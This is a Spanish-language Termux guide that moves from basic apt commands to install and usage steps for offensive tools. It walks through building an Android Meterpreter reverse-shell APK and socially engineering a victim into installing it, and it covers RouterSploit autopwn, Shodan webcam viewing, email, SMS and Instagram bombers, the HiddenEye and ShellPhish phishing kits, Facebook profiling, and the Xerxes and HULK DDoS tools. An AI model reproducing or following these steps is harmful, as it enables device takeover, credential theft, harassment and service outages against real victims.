GUIA DE TERMUX

Contenido

Comandos Básicos:

DAR PERMISOS DE ALMACENAMIENTO A TERMUX

termux-setup-storage

apt update

Actualiza la lista de paquetes disponibles. Estos comandos deben ejecutarse inicialmente directamente después de la instalación y regularmente después para recibir actualizaciones.

apt upgrade

Actualiza paquetes obsoletos. Para que Apt pueda conocer los paquetes más nuevos, deberá actualizar el índice del paquete, por lo que normalmente querrá ejecutar apt update antes de actualizar.

apt search <query>

Buscar entre los paquetes disponibles.

apt install <package>

Instale un paquete nuevo.

apt show <package>

Mostrar información sobre un paquete.

apt list

Enumera todos los paquetes disponibles.

apt list --installed

Enumera todos los paquetes instalados.

apt remove <package>

Eliminar un paquete instalado

Apt como administrador de paquetes usa un formato de paquete llamado dpkg. Normalmente, el uso directo de dpkg no es necesario, pero los siguientes dos comandos pueden ser útiles:

dpkg -L <package>

Lista de archivos instalados de un paquete.

dpkg --verify

Verifique la integridad de los paquetes instalados.

Ver la página del manual apt (ejecutar apt install manpara instalar primero un visor de páginas man) para más información.

ls

Muestra lo que hay dentro de la carpeta

cd

Nos lleva a Home

cd <nombre del archivo>

Entra a dicho archivo

Exit

Salir de la terminal

Boton de volumen abajo + letra de teclado C

Anular o cancelar proceso

Instalar Python, Pyhton3 y pip3

- pkg install python
- pkg install python3
- pkg install python-pip
- pkg install python3-pip

Instalar cURL, php y wget

- pkg install curl
- pkg install php
- pip3 install wget

Algunas herramientas:

Metasploit

Está diseñada para explotar las vulnerabilidades de los equipos y es sin duda el programa más usado por los mejores hackers del mundo.

- pkg upgrade
- pkg install curl
- curl –LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh
- chmod 777 metasploit.sh
- ./metasploit.sh
- ls
- cd metasploit-framework
- Iniciar la consola : ./msfconsole

TOOL-X

Es un Script para instalar fácilmente distintas herramientas:

- pt update
- pkg install git
- git clone https://github.com/Rajkumrdusad/Tool-X.git
- cd Tool-X
- chmod +x install.aex
- sh install.aex si no funciona ejecutar ./install.aex
- Ejecutar desde consola Tool-X

FSociety

Un framework de prueba de penetración, tendrá todos los scripts que un hacker necesita.

- git clone https://github.com/Manisso/fsociety.git
- cd fsociety
- chmod +x install.sh
- bash install.sh ó ./install.sh
- python2 fsociety.py

Lazymux

Herramienta similar a fsociety

- git clone https://github.com/Gameye98/Lazymux
- cd Lazymux
- python2 lazymux.py

RouterSploit:

routerSploit, es un framework de seguridad open source muy similar al conocido Metasploit con el cual podremos auditar nuestros dispositivos (routers, webcam, NAS, etc) para comprobar si tienen vulnerabilidades conocidas.

El framework, cuenta con los siguientes 5 módulos:

exploits: módulos que aprovechan las vulnerabilidades identificadas.

creds: módulos para probar credenciales en los servicios de red.

scanners: módulos que verifican si un objetivo es vulnerable a cualquier exploit.

payloads: módulos para generar cargas útiles en diversas arquitecturas.

generic: módulos que realizan ataques genéricos.

<INSTALACIÓN>

routerSploit, requiere de los siguientes paquetes:

- future
- requests
- paramiko
- pysnmp
- pycrypto

- instalamos pip en Python3.
- apt install python3-pip

clonamos el repositorio a nuestro equipo.

- git clone https://github.com/threat9/routersploit

Nos posicionamos en él.

- cd routersploit
  Instalamos los requisitos.
- python3 -m pip install -r requirements.txt
- python3 -m pip install -r requirements-dev.txt
- Ejecutamos RouterSploit
- python3 rsf.py

<USO>

Para el uso de RouterSploit, sólo debemos de conocer la IP del dispositivo a auditar, si no has cambiado tus IPs, posiblemente la de tu router sea 192.168.1.1 o 192.168.0.1

Una vez lanzado RouterSploit, seleccionamos el módulo scanner con autopwn (esto lanzara todos los exploit contra el objetivo)

- use scanner/autopwn

Marcamos el target

- set target [IP-DISPOSITIVO]

Lanzamos el ataque

- run

IPGeolocation:

Herramienta que geolocaliza a la victima mediante su direccion ip:

- git clone https://github.com/maldevel/IPGeoLocation
- pip3 install -r requirements.txt –user
- ./ipgeolocation.py –h(para ver las opciones)

Malicious:

Malicious es una herramienta para crear apk o ejecutables infectados para android, mac, windows etc... Muy buena herramienta, esperó y les guste.

Primero procedemos a actualizar la terminal con

- apt update && apt upgrade -y

Y si no se cuenta con el git ni python los instalamos con

- apt install git python2 -y

Ya teniendo lo anterior continuamos a clonar el git

- git clone https://github.com/Hider5/Malicious
- Al terminar seleccionamos malicious con
- cd Malicious

- Y procedemos a dar permisos
- chmod 777 malicious.py
- Y listamos con
- ls
- E instalamos lo siguiente
- pip2 install -r requirements.txt
- pip2 install --upgrade pip
- Y pasamos a ejecutarlo con
- python2 malicious.py

Aparecera una lista de sistemas a cuales se pueden generar un apk maliciosa, en este caso android
1
Y por ejemplo dendroid
35
Ya se nos generara el apk. Para moverlo a la memoria para poderlo compartir procedemos a listar y luego seleccionar Android

ls
cd Android

Volvemos a listar

ls
mv Dendroid.apk /sdcard

Y ya lo pueden encontrar en su almacenamiento...

Devploit

Devploit es una multi herramienta que te permitira hacer varias funciones como rastrear una ip hasta extraer datos de pag web y dispositivos... Espero y les guste
-git clone https://github.com/joker25000/Devploit
-cd Devploit
-chmod +x install
- ./install
-python2 Devploit.py

WepPwn3r

Hoy les traigo la herramienta de WepPwn3r que sirve para escanear paginas web en busca de bugs y vulnerabilidades.

Para los que apenas van instalando termux colocan lo siguiente...

- -apt update
- -apt upgrade
- -pkg install git
- -pkg install python

- Ahora pasamos a instalar la herramienta que nos interesa...

- -git clone https://github.com/zigoo0/webpwn3r
- -cd webpwn3r
- -chmod +x scan.py
- -python2 scan.py

Algunas herramientas usando metasploit:

Tmvenom:

Siguiente texto lo pegue de un post que subieron anteriormente a BLACKQACKERS

Como j4ck34ar un Android desde t3rmux o, desde linux (No estoy muy seguro que en Linux funcione no lo eh probado)

<Requisito>

Tener Metasploit instalado en t3rmux

Recomiendo tener Es file Explorer

Procedimiento

1- apt update

2- apt upgrade

3- pkg install pip

4- pkg install git

5- pkg install python2 (Solo en caso de que no lo tengan instalado

6- pkg installl php

7- git clone https://github.com/TechnicalMujeeb/tmvenom

8- cd tmvenom

9- ls (listamos contenido de la carpeta)

10- chmod +x tmvenom.py

11- sh install.sh

12- python2 tmvenom.py

Ok, si hicieron todo bien y tienen Mestasploit instalado en su termux

les va a dejar un menu con 11 opciones ustedes van a elegir la 1 para un payload en android

-El ataque que vamos a realizar va hacer dento de LAN por lo cual vamos abrir otra terminal y pondremos el comando

ifconfig

lo cual nos dara nuestra ip la ip la podran encontrar hastra abajo de poner el comando donde dice

inet add:"SU IP"

O simplemente van a la configuración de su celular, wifi, entrar a la red wifi a la que están conectados y les aparece la ip.

-Ok, luego vamos a copiar la ip mencionada y nos regresamos a la sesion 1 y la ponemos

-Despues de ponerla nos pedira un puerto, el script nos recomienda el 4444

Y este es el que vamos a poner

4444

-De ahi nos pedira la ruta donde lo queremos guardar la cual pondremos

/sdcard/"Nombre que le quieran poner al payload ejemplo="

/sdcard/virus.apk

de ahi el script procedera a generar el payload, el payload lo podemos encontrar en el almacenamiento interno, por lo cual descargamos Es file explorer

- De ahí nos va a decir si queremos empezar a entrar el modo de escucha lo cual pondremos una "y"

lo cual nos estara ejecutando Metasploit :)

- Cuando se nos inicie Metasploit pondremos los siguientes comandos

- use multi/handler
- set payload android/meterpreter/reverse_tcp
- set lhost "la ip que pusieron anteriormente que sacaron con el comando ifconfig"
- set lport 4444
- exploit

- De ahi entrara en modo de escucha y de espera a que alguien ejecute la aplicacion

ahí ustedes deben de aplicar sus técnicas de ingeniería social para que la víctima caiga

en mi caso lo are en mi propio celular

- Ok, cuando la persona instale la app y el abra se ejecuta el payload y en la terminal de termux

y con el comando "help" podremos ver todas las opciones que tenemos,

y listo hemos j4ck3ado un Android

SHODAN:

QUE ES SHODAN

Shodan es un motor de búsqueda que es capaz de encontrar cualquier dispositivo conectado a internet, Shodan trabaja principalmente con la deep web y es catalogado como el buscador más aterrador del mundo puesto que encuentra dispositivos de cualquier tipo siempre y cuando tengan conexión a internet, por ejemplo: semáforos, cámaras de seguridad, computadoras, plantas de agua, redes eléctricas, etc.

¿CÓMO FUNCIONA SHODAN?:

Buscadores como Google indexan el contenido de la web, al menos aquellos que son de carácter público, a través de los puertos 80 y 443 (HTTP y HTTPS), la peculiaridad de Shodan es que rastrea todos los otros puertos existentes, permitiéndole encontrar cualquier dispositivo que posea una IP, es decir, cualquiera que tenga conexión a internet.

<uso>

Trabaja con metasploit

La configuración:

- Cd metasploit-framework
- ./msfconsole
- use auxiliary/gather/shodan_search
- show options

Luego se crean una cuenta en shodan

Van a shodan.io

Click para crear botón verde

Luego inicias cesión

Luego click en donde señala la flecha azul

Les saldrá algo como este

- m02ZKlMk4qQTHUVooORM7Pf5Va7OI4oH copian

Van a termux y terminan de configurar

Luego

- -et SHODAN_APIKEY Y PEGAN LO QUE COPIARON
- -et QUERY "webcamxp"
- run

Les saldrá un listado de ip copian cualquier ip y lo pegan en su navegador

Y les muestra la cámara

Spammers de emails, sms e instagram

Email-bomber:

- git clone https://github.com/zanyarjamal/Email-bomber.git
- cd Email-bomber
- python2 E-bomber.py
- Les pedira servidor del correo, Gmail o Yahoo
- Les pedirá su correo depende a lo que pusiste arriba, Colocan su correo
- Colocan su contraseña para logearse (es seguro)
- Colocan Email de la victima, el mensaje a enviar y la cantidad de correos a enviar

Spammer-Grab

- git clone https://github.com/Noxturnix/Spammer-Grab
- cd Spammer-Grab
- ./auto-install.sh
- python2 spammer.py –h (h les muestra los comandos)
- Ejemplo:

- Python2 spammer.py –delay 15(delay es el tiempo que se tomara en enviar los mensajes, puedes poner cualquier numero) (aca el numero de la victica con el código del pais)
- Python2 spammer.py –delay 10 5918844747

Instaspam:

Herramienta para spammear cuentas de Instagram

- git clone https://github.com/thelinuxchoice/instaspam.git
- cd instaspam
- chmod +x instaspam.sh
- bash instaspam.sh ó ./instaspam.sh

Herramientas para phishing:

Hidden Eye:

Scripts que contiene varias páginas clonadas para obtener credenciales:

- pkg install git python php curl openssh grep
- pip3 install wget
- git clone https://github.com/DarkSecDevelopers/HiddenEye.git
- cd HiddenEye
- pip3 install -r requirements.txt
- chmod 777 HiddenEye.py
- python3 HiddenEye.py

ShellPhish:

Herramienta para hacer phishing y tambien saca direcciones ip e informacion extra

- git clone https://github.com/thelinuxchoice/shellphish
- cd shellphish
- bash shellphish.sh ó ./shellphish.sh

Herramienta para obtener informacion de tus amigos en facebook:

También existe una herramienta alterna a la de OSIF que hace exactamente lo mismo, solo buscan en google fbi github y listo

OSIF:

- pkg update upgrade
- pkg install git python2
- git clone https://github.com/ciku370/OSIF
- cd OSIF
- pip2 install -r requirements.txt
- python2 osif.py

- colocan help para que les aparezca las opciones
- Aca les pedirá loggearse con su cuenta de fb para crear un Tokken, háganlo normal no pasara nada, si no les permite quizá sea porque en su face activaron la doble verificación, desactívenla por un minuto para loggearse y listo luego no les volverá a pedir que se loggeen

Herramientas para ataques DDOS

Xerxes:

- apt install git
- apt install clang
- git clone https://github.com/zanyarjamal/xerxes
- cd xerxes
- clang xerxes.c -o xerxes
- ./xerxes website 80

HULK:

- Git clone https://github.com/grafov/hulk.git
- Cd hulk
- Python2 hull.py -site http://example.com/test/ 2>/dev/null

Herramienta para sacar metadatos de imagines:

ExiF:

- Git clone https://github.com/ivam3/Exif
- Cd Exif
- Chmod +x install.sh
- Sh install.sh ó bash install.sh ó ./install.sh
- Se recomienda usar EsfileExplorer para obtener la direccion especifica de la imagen